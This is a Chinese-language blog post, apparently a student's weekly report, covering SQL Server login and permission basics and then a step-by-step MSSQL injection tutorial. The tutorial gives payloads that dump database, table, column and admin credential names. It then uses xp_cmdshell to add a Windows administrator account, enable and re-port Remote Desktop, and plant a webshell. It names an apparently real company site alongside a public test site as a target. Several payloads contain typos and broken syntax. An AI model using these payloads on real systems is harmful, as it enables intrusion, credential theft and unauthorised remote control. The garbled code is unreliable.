大一第二学期周报6Web基础

SQL Server

一·安全性,登录名创建
在这里插入图片描述
右击登录名,创建登录名
在这里插入图片描述

可以创建一些sqlserver登陆账号
在这里插入图片描述
强制实施密码策略,更有利于安全性
在这里插入图片描述

服务器角色(创建用户权限),sysadmin是最大的权限
在这里插入图片描述

用户映射(创建用户对另一些数据库的权限)一般是public只能去读取
在这里插入图片描述
状态(权限)
在这里插入图片描述

创建完成后,可以以这个登录名登录。


二·常见语句
创建数据库:
create database database-name

删除数据库
drop database dbname

查询所有
select * from 表名


三·数据库权限
最大sa权限:数据库操作,文件管理,命令执行,注册表,读取等。system

db权限:文件管理,数据库操作等。user-adminstrators

public权限:数据库权限。guest-uesrs


MSSql数据库调用及注入

一·调用数据库代码
<%
set conn =server.createobject(“adodb.connection”)
conn.open “provide=sqloledb;source=local;uid=sa;pwd=******;database=database-name
%>

其中,provide后面的不用管,照写;source后面的可以是ip地址,这里用的是本地;sa为内置的用户,它的密码是在安装的时候设置得;database后面是要连接得数据库名称,列:mydatabase(不需要扩展名)

二·MSsql数据库判断
1.判断是否有注入
and 1=1
and 1=2
/
-0

2.初步判断是不是MSsql数据库注入
and user>0

3.判断数据库系统
MSsql
and (select count(*) from sysobject)>0
Access
and (select count(*) from msysobject)>0

4.测试权限结构(mssql)
and 1=(select lS_SRVROLEMEMBER('sysadmin '));–
测你当前是什么身份
返回正常是sa
删除线处是服务器角色名称

5.可能报出所有数据库
and 1=(selcet name from master…sysdatabases for xml path)

6.测数据库当前版本情况
and 1=(select @@version)
也可以
id=@@version,id=是原有的

7.查当前连接数据库名称
and 1=(select db_name())
也可以
id=db_name(),id=是原有的

三·获取第一个用户数据库
跑一下网站,看当前的sql server有哪些数据库
1,代表第一个

and 1=(select top 1 name from master…sysdatabases where dbid>4)

dbid>4,前四个是系统默认数据库

运行后,报出来第一个就是test数据库(参照上一篇周报,第五个数据库就是test,第6个是aaa)

然后
and 1=(select top 1 name from master…sysdatabases where dbid>4 and name<>‘test’)

运行,就会报出来aaa
也可以
and 1=(select top 1 name from master…sysdatabases where dbid>5)

四·获取表名
and 1=(select top 1 name from sysobjects where xtype=‘u’)

例如运行后报出 news表
再加上
and 1=(select top 1 name from sysobjects where xtype=‘u’ and name<>’ news’)

报出来 admin 表
再往后加上
and 1=(select top 1 name from sysobjects where xtype=‘u’ and name<>’ news’ and name<>‘admin’)

先运行
and 1=(select top 1 name from sysobjects for xml path)
如果没报错,再接着运行
and 1=(select name from sysobjects for xml path)
就可报出所有的表

五·获取列名
and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name=‘admin’))
列出第一列admin

and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name=‘admin’ ) and name<>‘admin’ )
列出第二列pass

都跑出来后就可以去跑数据了
and 1=(select top 1 admin from admin)
第一个admin是列,第二个是表名
第一个admin可以换成pass

顺序:
先报数据库→报表→报列→跑数据

以上均为手工

测试站点:
http://testasp.vulnweb.com/showforum.asp?id=0
http://www.langesteel.com/onewll.asp?id=42574

六·利用MsSql扩展存储注入攻击
在这里插入图片描述

在这里插入图片描述
上面新建用户两条语句要放到 id=数字 后执行,就可以添加上。

恢复:
执行返回正常的话,恢复后就可以执行系统命令了

net user 用户名 密码/add

net localgroup adminstrators 用户名/add
把该用户添加到管理员组

然后就可以远程登陆了
win+R
mstsc
在这里插入图片描述

如果对方没开启远程桌面端口,就用这条语句打开对方3389端口:
;exec master…xp_cmdshell ‘sc config termservice start=auto’
;exec master…xp_cmdshell ‘net start termservice’
;exec master…xp_cmdshell ‘reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /vfDenyTSConnections/t REG_DWORD /d 0x0 /f’

以上都放到原有 id=数字 后
执行以下,连上后,就可以用账户登陆了

在这里插入图片描述

七·sa权限
sa权限下扩展存储攻击利用方法,test位置是名称,password密码
在这里插入图片描述

在这里插入图片描述

如果本地路由器没有3389端口,则可以把3389端口改到端口80
;exec master…xp_cmdshell ‘reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\WinStations\RDP_Tcp” /v PortNumber /t REG_DWORD /d 0x50 /f’

利用sa权限插入木马语句
在这里插入图片描述
在这里插入图片描述

出问题时就用这一条语句
在这里插入图片描述

八·dbowner权限下的扩展利用攻击
在这里插入图片描述

用dbowner写下一句木马
在这里插入图片描述

接下来我会为大家介绍各种工具的使用

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

千言不如杯烈酒

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值